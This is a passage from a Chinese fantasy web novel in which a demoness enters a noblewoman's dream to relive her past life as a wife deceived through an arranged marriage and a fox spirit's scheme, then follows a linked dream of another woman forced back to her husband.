阿姮涌过去,红云烈焰熊熊如炽,烧得众人手上皮肤滋滋作响,指尖若动物一样尖利的指甲顿时化为黑灰散落,众人眼白上的黑色褪去,他们如梦初醒,低头望见自己被火灼伤的手,个个面目扭曲,惊声痛叫起来。 香豆与小繁方才恢复神智,浑身颤抖地捧着自己被烧烂皮肉的手背,却听“哐当”一声,两人同时抬首,往碧玉珠帘中望去。 谢澹云与谢朝燕仍一左一右坐在床边,她们双目涨满黑色,神情平静,眸光却有一种瘆人的阴冷,而她们满口鲜红,血液不断从她们的唇缝中流出,染红她的衣襟与裙摆。 地上沾血的利刃化成淡淡的烟气消失不见,小繁、香豆看清地上被鲜血濡湿的两样东西,她们的脸色煞白,同时尖叫起来:“小姐!” 阿姮看见那香案上的赤金香炉,诡异洁白的烟气淡淡浮动,烟气凝结的狐狸模样栩栩如生,再看那床榻之上,断了腿的紫衣郎不知何时已经消失了,香炉里的烟气缕缕流向床前,仿佛裹着他轻轻的一声笑。 阿姮听到那笑声,竟似狐嗥。 若缕白烟瞬息涌入谢澹云与谢朝燕的眉心,霖娘方才从地上坐起身,便见面前的红雾涌去床前,缠住那缕缕白烟,很快消失在两名谢氏女的眉心。 “阿姮!” 霖娘大声喊道。 谢澹云与谢朝燕身形一晃,同时倒在床上,唇缝中溢出的鲜血濡湿锦衾。 阿姮眉听到霖娘的呼喊,她有一会儿只看得到浓浓的黑,不知多久,像夜幕缓缓转为微白的晨光,她忽然置身于一片茫茫浮雾中,而在这里,她竟然轻易凝聚起了一副人形,阿姮打量着自己的双手,却忽然听到一声:“发生什么了?” 阿姮舒展右手掌心,那颗霞珠亮闪闪的,她慢条斯理地将霞珠戴在手指上:“小神仙,我就说嘛,积玉看起来就很弱,就算你们上清紫霄宫的药箓再厉害,他也发挥不出更强的作用,一只千年狐妖,怎么可能破不了积玉的阵呢。” 阿姮早就觉得奇怪,身为妖邪,她最知道自己追逐血气的本能,其实是她对于力量的渴望,人类的精血是妖邪获得强大力量的捷径,而那狐妖似乎向来以此为业,他那么厉害,连药王殿的殿师都视他为棘手难题,亲自出山。 这样的妖邪,会破不了积玉的药箓? “他有别的目的。” 程净竹的声音似乎混合着凛冽的风:“师兄在贺州所见,根本不是他的本体。” “他连你们药王殿的殿师都骗得过?” 阿姮毫不掩饰幸灾乐祸。 “师兄受骗,遭殃的是谁?” 霞珠里,少年嗓音清寒。 “……” 是她。 她连壳子都没了。 程净竹的声音再度响起:“非是师兄失察,而是他没有料到此狐妖竟然会自断三尾精心塑造出一个分身来,此分身有他的三成修为,而他修行千年,杀业无数,功法早已大成,即便只有三成,也足有祸乱地方之力。” “什么?那他到底有多少条尾巴?” 阿姮初入四方世界,不知道原来一只禽兽竟然还能有很多条尾巴,她一时间好奇起来。 “狐生九尾,即为大妖。” 程净竹说道:“他用千年时间修成九尾,可谓万中无一,这正是东炎国不乏能人异士,却始终未解此妖祸的缘故。” “他还真是狡猾。” 阿姮想到那浓云黑烟里的阵阵狐嗥:“我本以为他的本相就在风雾之中,我牺牲掉壳子与他斗,却原来,他根本就在积玉的阵中。” “那个檀郎才是他的本相。” 阿姮想到这里,忽然什么都通了。 难怪,她会觉得檀郎的血那么的腥臭,他不知食用过多少人的血气,那些杂乱的血气混合到一起,成了他血里根深蒂固的味道,而她也想起来,在檀郎受伤之前,她就闻到过那味道。 在园子里,花丛中,檀郎与谢澹云私下里说过话,路过她身边,她嗅到那味道,是他手中空碗里残留的血液的味道。 那时,檀郎根本不是在喂什么野猫。 而是用他自己的血,造了个黑云滚滚,雷电如织的大阵将整个檀园封闭起来。 “他不惜舍弃三成修为也要引开师兄与我,足见谢家两女身上有什么东西是他势在必得的,或许,他也是为执根而来。” “他也想要执根?” 阿姮说。 “他这种习惯用人命来填修为的妖邪,人类的七情六欲对于他来说是比血气要更加迷人的东西,尤其执念深重之人,便是他最好的猎物。” “他果然是要抢我看上的东西。” 阿姮幽幽道。 霞珠里静了一瞬,随后程净竹的语气更加严肃:“你不是他的对手,何况还有火种在他身上。” 檀郎既是狐妖的本相,那么火种定然在他身上。 阿姮承认,即便她自己也有一颗火种,她也绝不是一只千年大妖的对手。 程净竹的声音再度落来她耳边:“在我赶到之前,你最好不要轻举妄动。” 伴随他的声音,点滴冷雨沾湿阿姮的眼皮,阿姮举目望去,浓浓的雾气散开,满眼荻花瑟瑟,一片山野朦胧。 “晚了。” 阿姮张口,缓缓说道:“小神仙,你太慢了,我的壳子化成了水,在地上也没个人收拾,我若乖乖等你来,只怕到时执根就成了那臭狐狸的了。” “阿姮……” 程净竹的声音淹没在阿姮收拢的掌心,阿姮语气轻快:“不听不听,小神仙念经……” 雨雾朦胧的山野中,阿姮看清不远处的荻花丛中,那粗布衣裙的年轻女子背对她而立,在那片更深的丛中,男女欢笑的声音混合着沙沙的雨声。 衣衫不整的男人在丛中拥着个同样衣衫不整的女子,雨水冲刷着女子雪白细腻的皮肤,她那双眼睛圆圆的,媚丽欲滴。 男人难耐地唤她:“瑁珠,好瑁珠……” “哎呀,”女子娇声笑着,“你家中还有个妻子等着你,她还盼你高中状元,你却总缠着人家……” “她那是嫌我!” 温荣生吻着她粉白的脸颊,说道:“她嫌我是个渔夫的儿子,所以才要我考什么状元,说到底都是为了她自己!还是瑁珠最知道我的心,若能与你在一起,我就是死也值了……” 瑁珠听着如此爱语,忍不住声声娇笑,却并不回应。 赵芳茹僵硬地站立着,她的脸色又是青,又是白,指甲几乎都嵌进了掌心里,忽然,她听到一阵很轻的步履声。 赵芳茹猛地回过头,只见一白衣少女款款而来。 雨雾沙沙,少女腰间鲜红的丝绦似乎是这片晦天暮雨中唯一明亮的颜色,她拥有一副艳丽的容貌,缓缓停在赵芳茹面前,一双暗红的眼眸像在审视她,片刻,少女又举目望向荻花丛中,那一双男女如胶似漆,好不快活。 “喂。” 赵芳茹听见她忽然出声。 山野丛中男女笑语不断,晦暗苦雨几乎沾湿了少女乌黑的发,她那双眼睛微微弯起,声音很轻,充满神秘的引诱: “你心里在想什么?要不要——我来帮你啊。”《 》 50-55 第51章 第51章 她确信,他的金身破了。 山间雾蒙蒙, 荻花蓬草胡乱飘摇,赵芳茹凝望少女,眼前有一瞬模糊,神摇意夺的刹那, 她听到少女轻缓的笑声, 却仿佛是从赵芳茹自己的脑海深处传来耳边:“你不说的话, 那我就自己来看了……” 脑子里的笑声似乎顷刻化为灼灼热焰从她的脑海,穿行过她的喉咙,剧痛笼罩赵芳茹的四肢百骸, 她惊声尖叫起来, 一只手紧紧抓住胸口的衣料, 撕裂般的疼痛像顺着经脉钻入她的心口。 赵芳茹猛然瞪大双眼, 却忽然发觉面前的少女早已消失不见,淡淡的红雾消散, 茫茫山野, 晦暗天雨,甚至荻花丛中那片欢声笑语也都顷刻隐去, 她发现自己竟然置身于一廊庑之上, 碧绿的藤蔓蜿蜒在朱红栏杆上, 洁白的藤花在淡淡的雨气中颤颤巍巍, 庭内有几株被精心修剪过的青松, 松枝上缠着一缕彩胜,许是经年,色彩斑驳, 在淡薄的雨气里兀自飘动,摇摇欲坠。 赵芳茹一见那东西,她浑身的筋骨都紧绷起来, 此时,她方才意识到,那股钻心之痛不知什么时候早已消失。 “爹!” 沙沙雨声中,忽然传来这样一声呼喊。 赵芳茹一下回过头,只见槅门大开的花厅中,厅中晦暗,不过一点孤灯在燃,她看到那杏黄纱屏风上一高一低两道影子,灯影映出高的那影子似有一把胡须,被清风吹着微微扬起,而那低的影子纤瘦极了,似乎伏在他身前,未语而先哭。 那声音……声音竟然那么像她! 赵芳茹快步入内,挑起淡黄帘子,绕过那屏风看去,站在屏风畔的那人年约五十来岁,发髻梳理得一丝不苟,两鬓微霜,他双眉锋利,眉心似乎常年紧拢,因而留下深邃的川字纹,此刻他抿紧唇,俯身一手握住跪在他面前的女子臂弯,沉声道:“你出嫁那日,说再也不回来了。” 父亲。 那是她的父亲…… 赵芳茹嘴唇颤抖,却见背对着她跪在父亲面前的那道清瘦的背影白皙的后颈低下去,却是侧过脸来,那双眼睛蓦地盯住站在不远处的赵芳茹。 赵芳茹看清她的脸,不由双瞳震颤,下意识地抬手触摸自己的脸。 那竟然是一张与她如出一辙的脸。 那个与她一模一样的女子跪在她的父亲面前,用一双冰冷的眼睛凝视着她,浑身却在止不住地发抖,哽咽的声音从她喉咙里艰难地挤出来:“爹不要我了,这里再也不是我的家了,是吗?” 赵老爷似乎根本没有发现站在不远处的赵芳茹,他凝视着面前的这个女儿,眉头拧得更紧:“芳茹……” 赵老爷方才张口,却被她打断:“爹守信重诺,是一尘不染的真名士,是天下人敬仰拜服的君子,因为爹的一个诺言,所以女儿嫁给了一个渔夫的儿子……” “我是爹的骨肉,是爹锦衣玉食将我养大,自古父母之命大过天,”女子苍白的唇边浮起淡淡的笑意,“温家对爹的救命之恩,理当由我来还,可是……” 她忽然抬起满是泪痕的脸:“可是爹,您报错恩了。” 她的声音沙哑极了,似乎经历了很久撕心裂肺的哭泣,赵老爷神情一滞,几乎以为自己听错:“茹儿!你在说些什么?” “我说,当初救您的根本不是温荣生他爹……” “胡说!我早已验过,那温家老先生身上分明有我当初交托恩公的信物!”赵老爷一把握住面前女儿的手,“茹儿,你当爹是什么人都能蒙蔽的么?快不要闹了……” 她猛然挣脱赵老爷的手,沙哑的嗓音猛然变得尖刻:“若蒙蔽您的根本不是人呢?爹,您真的看清过当时是谁救的您么?” 赵老爷当然没有看清,那种乱局之下,他身受重伤,双目模糊,神志都不清楚了,唯一能做的,也就是勉强交托给恩公一件信物,许下一个诺言而已。 他再醒来,人已回到家中,却没有人见过到底是谁送他回来的。 “救您的,是一个叫做瑁珠的女妖,”女儿的声音再度落来他耳边,怀着哽咽,含着愤怒,“她不是人,所以根本不懂什么道义,她救您,仅仅只是因为您的身上有她喜欢的东西……” “你是如何知道的这些?” 赵老爷沉声说道。 “我是如何知道的?”她望着他那副怀疑的神情,不由悲笑,“哈哈哈哈哈哈……自成亲以来,温荣生对我百依百顺,我让他读书他便读书,我不让他动我的嫁妆,他便一分不动,我曾想,他也许不是一块读书的好料,但我其实也不那么强求,只是我想让他懂我而已,所以我才让他读书,至少,他是一个好夫君,所以慢慢的,我不那么委屈了,也不再怨您……至少,荣生他对我好。” “我并不指望他成什么状元郎,做什么真名士,我只是希望他可以明白财帛,地位,不应该靠您施舍,他若想要,他就自己挣,他若挣不来,即便寒微,至少这根脊梁骨是直的,我以为他明白这些的……” 说着,她摇了摇头:“可是我错了!” “爹,您可知您交给那女妖的信物为何会在温家手里?因为,温荣生早与那女妖瑁珠有首尾,可人妖殊途,那瑁珠担心温荣生家中清贫无力娶妻生子,所以将信物送给温家,让温家携信物上门提亲……从一开始,这就是个骗局!” 愤怒几乎充盈她发红的眼眶:“那个可恶的女妖……她根本,根本不知道成亲对于一个人类女子意味着什么,她将我作为她囊中的猎物,那样大方地送给了别人,可我呢?到底……到底谁会在乎我的一生呢?” “好个温家!” 赵老爷脸色铁青,他大声怒斥起来:“无耻!无耻之尤!” “爹,”她满眼都是泪,抬手抓住面前父亲的衣摆,清癯苍白的脸仰起,“我在温家是一天都待不下去了,他们每一个人都让我觉得恶心!” 她呜咽着说:“我要回家……” 她像一只被生生脱去外壳的蜗牛,柔软而脆弱的身体不断蜷缩着,想要回到曾经那个承载着她所有喜乐,为她遮去所有风雨的家。 为此,她发出难捱的哀鸣。 花厅里忽然死寂,槅门外雨丝绵密,冷风吹得厅中孤灯乍灭,淡淡的烟气顺焦黑的烛芯蜿蜒而上,很快散去。 浓暗的阴影里,她几乎看不清父亲的脸。 门外,闪电的冷光短暂划过他的那双眼睛,似乎哀痛,似乎愤怒,又似乎……有太多太多复杂的东西。 很久很久,她听到父亲干涩的,严肃的声音: “茹儿,木已成舟。” 沉重的几个字落下来,雷鸣轰隆,槅门外雨势转盛,站在不远处的赵芳茹猛然发出一声撕裂般的尖叫:“啊啊啊!” 跪在赵老爷面前的,那个与她容貌相同的女子缓缓回过头来,她十分冷静地审视着赵芳茹崩溃尖叫的模样,慢慢抹了一把脸,瞥一眼指尖的泪意,张口:“这是你的眼泪,也是你的愤怒,你的痛苦,甚至,是你的怨恨。” 这声音全然变成赵芳茹方才见过的那少女的声音。 但赵芳茹抬起泪眼,却看到那张脸仍旧跟她一模一样,赵芳茹看她缓缓站起身,而父亲一动不动,像是被定住了一般。 “你到底是谁?” 赵芳茹嗓音嘶哑极了。 “我?” 女子微微一笑,目光却落去她身后那如一尊塑像一般,纹丝不动的赵老爷身上:“我就是你啊,你恨他,对吗?” 赵芳茹头皮发麻,浑身的筋骨都紧绷起来:“你想做什么!” 女子纤细白皙的手指轻轻一动,淡淡的红雾化成一柄悬空的利刃,那利刃毫不犹豫地冲向赵老爷的咽喉,赵芳茹瞳孔紧缩:“不要!” 利刃闪动雪亮的光,赵老爷的身体却在瞬息破碎成烟,幽幽浮动。 女子回过头来,望着赵芳茹绯红的眼眶里砸下晶莹的泪花,她轻声笑:“赵芳茹,你明明恨他,是他欠别人的命,是他将你当个报恩的物件送了出去,你的婚姻,你的人生,都是他攥在手里的筹码……” “他是我爹!我身为他的女儿我应该这么做!” 赵芳茹激烈地打断她:“他要报别人的救命之恩,我则要报他的养育之恩!” “是吗?” 女子用那副与她相同的眉目审视着她,像是另一个自己悄无声息地洞悉她的所有:“你真的甘心吗?” 赵芳茹看着她一步一步走来,不由后退:“你别过来!” 她尖利的嗓音落下的刹那,那只苍白的手精准地捉住她的手腕,那种透过皮肉的阴冷刺得赵芳茹喉咙一紧,她望见对面那个自己,竟有一双暗红的眸。 顷刻,周遭浮烟漫漫,电闪雷鸣依旧在,盛大的雨浇透赵芳茹满脸满身,她发现自己竟然又置身于茫茫山野之中。 那个攥住她手腕的女子身影化为红雾飘散开去,下一刻,赵芳茹听见男子惊慌的叫声:“芳茹?” 赵芳茹转过身去,只见红雾凝成的另一个自己拨开重重荻花,双足踩出一条小径,那对在雨中放肆欢乐的男女发现了她的存在,男子的脸色一瞬变得极其难看。 这一瞬,赵芳茹看见那个原本悠悠信步的自己忽然像发了疯似的冲上前去,一双手猛然掐住那男子的喉咙。 男子脸色快速涨红,他张张嘴:“芳茹,你听我说……” “听你说什么?” “赵芳茹”目眦欲裂:“事到如今,温荣生,你还有什么好说的?你在我爹和我的面前做了那么久的戏,我爹,甚至我……都以为你是一个好人,可实际上呢?你算计我爹,算计我,这些,你却敢做不敢当么?!” “赵芳茹”悲怒交加,用尽全部力气只想掐断眼前人的脖颈,然而反应过来的男子被激发出汹涌的求生欲,他一把抓住她的一双手腕,凭着气力翻身将她压倒在地,他颈项间都是指痕,一双眼睛充盈着血丝:“赵芳茹你疯了?你难道真想杀了我不成?” “赵芳茹”挣扎着尖叫起来:“我杀了你!我杀了你们这对奸夫□□!” 滔天苦雨冲刷着瑁珠雪白细腻的身躯,她趴在草丛里,双手撑着下巴,一双剔透圆润的眼睛望着他们,唇边溢出轻盈的笑声。 温荣生的面色变得铁青,平日里温柔顺从的面具像是生生从他脸上撕裂,他死死地压住“赵芳茹”的双手,却语气平和,好似轻哄:“芳茹,你别闹了,你我夫妻几载,我什么事不顺着你呢?瑁珠与我是旧识不错,可我们绝无相守之意,就算是有,那又如何呢?” 他低下头,俊秀白皙的面容贴近她的脸,好似低语:“男子三妻四妾,都是寻常之事,何况我听你的话,一向不曾倚靠岳丈,家中所用,都是你的绣活,我的生意,就算我有纳妾之意,我相信,即便是岳丈也绝不会说些什么。” “无耻,无耻……” “赵芳茹”语无伦次,猛力挣开他的手,抓向他的喉咙,温荣生立即重新按住她,双臂力道之大,简直要生生捏碎她的骨头:“好了!我的话你不肯听?那你想怎样,回你娘家去告诉岳丈大人?你去对他说,他报错了恩,你嫁错了人?” 温荣生居高临下般,他的身躯完全遮挡了“赵芳茹”眼前的整片天,她只看见他的脸,没有丝毫羞愧,连最初那点慌张也不见了,他那双眼睛注视着她,双手用力,攥住她双肩,说道:“芳茹,你最清楚岳丈的为人,他一生正直,最重承诺,你与我的婚事是一桩关于他的美谈,这桩美谈里,他知恩图报,我为你勤勉,你我夫妻守志,恩爱不疑……你将真相告诉岳丈又如何?届时闹得人尽皆知,你以为损伤的是谁的名声?还不是岳丈大人么?再说,你我早已经做了夫妻,离了我,你难道还想再回娘家去么?这可能么?” 温荣生垂眸凝视她,启唇,语气轻缓:“芳茹,木已成舟。” 木已成舟。 被他压在身下的“赵芳茹”似乎动弹不得,站在不远处的另一个赵芳茹却像是被这四字钉入骨髓,痛得她浑身颤抖。 “芳茹妹妹。” 烟雨之中,瑁珠伸出一根白腻的手指轻轻擦拭被温荣生压在丛中的“赵芳茹”脸颊上的雨水,她轻声笑着:“你何必与荣郎置气呢?你们人类不是很喜欢这种知恩图报的戏码么?救你爹的的确是我,可我不是人,不需要你们人类的恩义,我将它转赠荣郎,又有什么不对呢?你嫁他,便是报我了,反正,我与荣郎只不过相好一时,你们啊,才是一生一世……” “赵芳茹”却转过脸,从温荣生的手臂之下,她盯住不远处的那个女子,苍白的唇轻启:“你还在那儿做什么?过来,杀了他。” 她话音方落,红雾凝成一柄利刃,悬在那女子眼前。 女子犹如受到引诱般,她的手抬起来,在半空中虚虚握了一把,迟疑中,那利刃却钻入她掌中,她猛然被一股力气相引,整个人不受控地飞身而去,尖利的锋刃刹那对准温荣生的后背。 而温荣生却毫无所觉,仍在试图让被他制住双手的“赵芳茹”冷静下来:“瑁珠早知人妖不能长久,所以才费心撮合你我的这段姻缘,芳茹,我是真心实意与你做夫妻,这几年哪怕你无所出,我亦不曾对你有过任何怨言,你就算不为了我,也得为岳丈大人想一想,咱们俩的事,有什么化解不开呢?” “赵芳茹”并不挣扎,却望着他,忽然笑起来,她的笑声轻盈飘荡在山野中,好一会儿,才听她好似费解地说道:“好奇怪,被人当成报恩的物件送出去的是我,和你成亲的是我,被欺骗被蒙蔽的是我,你却说,要为了你,为了我爹着想,那么我自己呢?” 她那双漆黑的眼,闪动暗红的影:“我究竟是一个人,还是俎上之肉,任凭你们谁都可以一片,一片地撕碎我,啃食我,是吗?” 站在温荣生身后的女子手握利刃,浑身一震,恍惚对上他身下那“赵芳茹”的双眼,温荣生受不了她诡异的笑,拧紧眉头:“你到底想怎样?就算你告诉岳丈大人,他真能让你回去?你醒醒吧,这是家事,家事就没有外扬的道理,你信不信,届时岳丈还要来劝我莫要休妻?芳茹,忘了今日的事吧,我听你的,好好读书,将来科举,说不定我便成官场中人,你还有什么不如意的呢?” 红雾拂过,一声脆响。 温荣生话音戛然而止,他不敢置信地望着被自己束缚住双手的“赵芳茹”,没明白自己怎么就结结实实地挨了一巴掌。 “凭你?” “赵芳茹”双眸毫不遮掩讥讽之意,稍稍侧过脸去,看向那衣衫不整,一身皮肤柔滑细腻的女妖,微微一笑:“你以为这女妖为何看上你?因为她无知,不懂人世间的好坏,没有情义,只有欲望,亦因为你是个渔夫的儿子,你的骨,你的肉,被那股臭鱼烂虾的腥气给浸透了,人类觉得恶心的东西,却被她当成了宝贝。” 瑁珠唇边的笑意收敛:“荣郎。” 她的声音娇滴滴的,却充满非人的阴冷:“杀了她吧,我再给你找一个更美更好的妻子……” 温荣生因为一句“渔夫的儿子”,敏感的自尊被刺痛,他的手从“赵芳茹”的肩,缓缓移向她脆弱的颈项,他的脸色十分阴沉:“在你心里,我永远只是一个渔夫的儿子,哪怕穿上读书人的衣冠,在你面前,我永远,永远都那么的一无是处,你永远都瞧不起我,是不是?” “赵芳茹”却不再说话了。 她只是注视着温荣生身后的那个女子,女子眼看着温荣生的手掐住她的喉咙,她却纹丝不动。 雨势盛大,雷声轰鸣。 “可你有什么清高的呢?你只是个女子,读再多书,写再多诗文,你到头来还不是嫁给我这样一个人,你摆脱不了我,便希望我满足你的幻想,成为可以与你相配的人,你将自己摆在那么高高在上的位置,难道不觉得可笑吗?你不需要我这样一个夫君,其实我也不需要一个舞文弄墨的才女妻子,你本该为我做羹汤,为我浣衣点灯,为我生儿育女,为我……” “闭嘴!” 站在他身后的女子尖声喊道。 可他却根本毫无察觉,只有被他死死掐住脖颈的“赵芳茹”以一双涨满血丝的眼望着她,耳边,仍是温荣生的声音:“你自命清高,却不知贤良淑德才是你应该修得的本分,你不让岳丈帮我,不让我动你的嫁妆,不就是为了与他置气么?为了置气,你宁愿从锦衣玉食到箪瓢屡空,要我遭受他人闲话,让我爹年迈之躯还要被人毫无尊严地冷嘲热讽,你这样的女子,到底有哪点堪为人妇?我事事顺从你,对你温声细语,难道还不够爱重于你?赵芳茹,是你一直敬酒不吃……今日这罚酒,该你领受了……” 瑁珠在丛中翻滚,雨珠冲刷着她雪白的身躯,她轻声娇笑着,而温荣生的手越掐越紧,“赵芳茹”的脸色涨红,甚至发紫。 蓦地,温荣生的手顿住了。 大雨如倾,砸在他的肩背,他后知后觉般,低头往身上看去,只见胸口一片血红,尖锐的刀锋嵌在他的血肉中,血珠一点一滴蜿蜒而下。 他缓缓回过头,闪电的冷光落在他的瞳眸,却照不见任何人的影子。 女子满手鲜血,踉跄后退,口中不住地喃喃:“闭嘴,闭嘴……” 而那躺在丛中,满颈紫红指痕的“赵芳茹”望着她,忽然笑起来,而温荣生与瑁珠的身影刹那定住,再也不动了。 笑了好一会儿,“赵芳茹”摸着颈子坐起身:“这是你心中的恐惧,是你的愤恨,却不是你真正的结局。” “真正的……结局?” 女子恍惚极了,起初,她很茫然,但很快,她的脑子里闪过很多东西,她意识到,原来眼前这一切都是假的。 她记起那个真正的结局。 同样的晦天涩雨,同样的荻花深处,她发现了所有的真相,却眼睁睁看着温荣生与那女妖欢笑苟合。 她没有吵闹,没有质问。 她回到家收拾衣装,从天黑走到天亮,但站在娘家门前,她又退缩了,她发现自己竟然害怕面对父亲。 她又失魂落魄地回到温家,当夜高烧,半梦半醒,她梦到自己趴在父亲膝头诉说委屈,而父亲拍了拍她的肩,长长的叹了口气,却说:“木已成舟。” 父亲重诺,重声名。 她心中忧惧,生怕真的听到那一句“木已成舟”。 因此,她日渐消瘦,缠绵病榻。 父亲听闻她的消息,便来探望,那日,她见到了一位仪表非凡的锦衣公子,父亲说,他便是她母家的那位表哥,乃今科探花,圣上特许其回乡探亲,他路过此处,特来探望姨父,又听说她病了,便请来大夫一块儿前来探望。 她记得自己儿时见过他,也不过两三面而已,母亲走后,便再没见过了。 表哥事事周全,性子也十分爽朗,临走前还叮嘱她一定要保重自身,他那时似乎还想说些什么,却长叹一声,领着仆从走了。 后来,她听说表哥在王都做官,富有文采,又为人清正,颇受爱戴。 她却更加病重。 记得那是个晴朗的午后,有人敲开温家的门,几名从王都赶来的仆从领着一位王都名医进来,温荣生出去的间隙,一名仆从递给她一封书信。 那是表哥的亲笔。 看到那封信,她方才知晓,原来曾经母亲在世时曾为她与表哥定下一个口头婚约,只是母亲与姨母相继去世,表哥家道艰难,便再无人提起。 表哥原打算金榜题名再来圆母亲与姨母的约定,却不想,她已经嫁了人。 表哥在信中说,有缘无份。 又盼她岁岁康健,无忧无虑。 她当日呕血,血湿了半纸,昏迷过去,再醒来,便见温荣生坐在一盏孤灯之下,凭日里那样温和的眉目在晦暗的灯影里阴沉沉的,他手中攥着那沾血的信纸,回过头来看着她,说:“你心里后悔吗?” 她说不出话,而他却自顾自道:“你一定很后悔吧,你想要的,是你表哥这样的夫君对不对?眼见他金榜题名,眼见他青云直上,人生得意,你是不是想,若是嫁给他,该有多好?” “你与他私下里通信多久了?” 温荣生的脸被明暗不定的烛火切割得有些扭曲:“我猜,一定不止这一封吧?” “赵芳茹,你背叛我!” 他咬牙切齿地嘶吼。 从那之后,温荣生再没有多看她一眼,她连一点说话的力气都没有了,有时听见父亲的声音,然后是温荣生恭敬温和地劝阻她爹,说她蓬头垢面,不愿见父,说她已经有些好转了,她分不清那些声音到底是不是梦。 但她记得自己断气的那个时候,仿佛一块大石压在她的心口,所有的气息都被猛烈地从胸肺中挤压出来,压得她五脏俱裂,狼狈地跌入无边黑暗。 然后……然后? 她拧起眉头。 想起来了,从那片黑暗中,她去到了阴司,在奈何桥上,孟婆挖出了她脑子里的东西,对她说:“太过执着不是好事,去吧。” 然后,她投胎成为了谢侍郎家的小孙女,名朝燕。 她如梦初醒,发现自己手上竟然一点血迹都没有,抬起脸来,只见不远处的那个“赵芳茹”早已不再是那副与她一模一样的五官。 她白衣红襟,乌发如云,一副极致艳丽的容貌,眼波盈盈。 “……阿姮姑娘?” 谢朝燕嗓音沙哑,有些迟钝。 “朝燕小姐,”阿姮扮赵芳茹扮得累极了,她活动了一下脖颈,“‘木已成舟’到底是什么意思?我实在不明白,你为什么会那么害怕这几个字。” 谢朝燕下意识地看向那对男女,他们的身影却在顷刻融成烟雾,消散了,好一会儿,她才张口道:“是捆住我手脚的绳索,是塞进我唇齿的抹布,是捅进我身体里的刀,是……女子的宿命。” 阿姮一顿,歪过头来,看向谢朝燕那双灰蒙蒙的眼:“什么宿命?天都没办法决定天道,若是我,绳索捆住我的手脚,我便是用牙咬,也要将它咬断,抹布塞进我嘴里,我就得想尽办法把它吐出来,刀捅进我身体里,我也要费尽力气把它拔出来,给捅我的人一刀,让他也尝尝个中滋味……朝燕小姐方才不是做得很好吗?” 谢朝燕立即想起来方才她将那把刀捅进温荣生身躯里的情形,温热的鲜血淌了满手,她觉得自己的脑海几乎沸腾。 “那都是假的。” 谢朝燕喃喃道:“没有人在乎我的一生,我也左右不了自己的一生,我是父亲送出的货物,是温荣生的附庸,我的眼泪,我的叫喊,我一切的一切,从来微不足道,所以我终究只能狼狈地死去。” “可你拿起那把刀的勇气却是真的。” 谢朝燕几乎沉溺在作为赵芳茹的狼狈人生中,却忽然听到阿姮的声音,她一下抬起头,只见阿姮朝她走来,而阿姮身后,山野变得渺远,白雾几乎笼罩。 “你不明白……” 谢朝燕激动起来:“你什么都不明白!” 雾气中,渐渐显露一隅长巷,阴沉的天色,淅淅沥沥的雨落下,砸在谢朝燕的唇缝,她忽然一愣:“这雨……怎么是苦的?” 阿姮看了她一眼。 她记得小神仙说过,作为梦境的主人,梦中的风雨情状皆是其情绪的外化,可如今谢朝燕却尝到这苦雨…… 阿姮转过身,只见山野化为小巷,巷中不少人聚在一户人家门前。 “这好像……” 谢朝燕辨清四周,不由说道:“好像是我家附近?” 准确地说,是前世赵芳茹的娘家附近。 阿姮不语,抓着她便往人群中挤去,却见那院门紧闭,适时旁边有人说道:“这林家三娘能许配给王都大学士家中的公子,那可是烧了高香了,成婚也才三年吧?怎么忽然就自己一个人跑回娘家来了?” “谁知道呢?她娘嘴可紧了,怎么都问不出来!” “别是被休弃了吧?” “三娘自小喜读诗书,腹中有文墨,听说模样儿又生得极好,比起那赵老爷家的小姐也是绝对不差的,怎么就被休弃了?” 他们说着说着,竟然就不知不觉坐实了休弃的传言。 “林三娘……?”谢朝燕朦胧记起,她前世似乎听说过这位林三娘,赵家与林家相隔不远,而林家老爷也是从王都的官场上退下来的,与赵家老爷曾也算是同僚,但两家平素没什么往来,谢朝燕前生根本没有见过那位林三娘。 后来嫁给温荣生,她回门之际,才听人提了一嘴,说林家的三娘嫁去了王都,做了贺学士的公子的新妇。 人们没一会儿就散了,阿姮则拉着谢朝燕翻墙入院,几步跑到墙下,弯身凑在窗棂底下,半开的窗中,隐隐传出说话声。 阿姮抬起头,看向室内,只见一女子背对着她,坐在一张书案旁,那似乎是个很年轻的女子,背影十分端正,像一株松竹。 “你知道你这样贸贸然跑回来,我林家要被说多少闲话吗!” 年约五十来岁,身穿灰色袍衫的老者声音难掩怒气。 那女子沉默不语。 身边一四十来岁的妇人抓住那老者劝道:“老爷,对外我们就说三娘是回来探望咱们的,谁又能说些什么呢?” “探望?探望却是一个仆婢也不带?女婿也不在,就她一个人跑回来,像什么话!”林老爷气性大,嗓门更大。 林夫人忙说道:“待几日三娘也就回去了,你何必如此……” “我不回去了。” 那端坐案前的女子忽然开口。 林老爷反应过来,气得怒目圆睁,他几步上前,将她拿在手中的书撕了个粉碎:“你说什么?你再说一遍?你何时变得如此任性,竟然连礼法都不顾了?当初这桩亲事,你也是点了头的,如今一个人跑回来算什么?” 女子垂首,看向地上的碎纸,那上面有模糊的字痕——“士之耽兮,犹可说也。” 女之耽兮,不可说也。 她目光微闪,轻声道:“爹,就因为我看错了人,便再也没有后悔的资格了吗?” “对,没有!” 林老爷厉声道:“当初我是问过你的,是你自己愿意的,婚事是一辈子的事情,你半途有悔,便是不忠不诚,你想让外面的人都戳你脊梁骨吗!” 谢朝燕躲在窗下,看到那女子转过脸来。 那竟然是谢澹云的脸! 谢澹云……便是林三娘? 谢朝燕愣住了。 阿姮看到那张脸,她明白过来,谢朝燕与谢澹云不知是因为什么,也许是那狐妖的原因,她们的梦境竟然相互连结了。 雨雾乍浓,天色陡暗。 浓郁的夜色里,阿姮看到那林三娘推开房门,肩上背着一只包袱出去,但没走几步,便被举着灯笼的仆婢们围住,随后,林老爷从浓暗的阴影里走出,他身边的林夫人心疼女儿那副煞白的脸色,便张口劝道:“老爷,女儿定然是受了委屈,所以才……” “受了委屈有什么不能说的?若贺鸣做的不对,我林家的确该向他讨个说法,但她这样一声不响地跑回来,哪里是个闺秀作派?” 林老爷说着,一抬手,招来几个婢女:“来啊,将小姐绑了,送到马车上去。” 阿姮看着林三娘被捆住,塞入府门外的马车中,几十个会武的护院守在马车两侧,不一会儿又有自称什么镖局的人来,竟有上百号人,林老爷付了银子,坐上马车,由这上百号人护送着,连夜往王都方向去。 马车上灯笼摇晃,车帘被夜风吹开,阿姮看到了里面的林三娘,她心中涌起一种复杂的感觉,因为谢朝燕此前所说的绳索,抹布,都在林三娘身上变得无比具象。 林三娘眼中的泪光盈盈,却发不出一点声音。 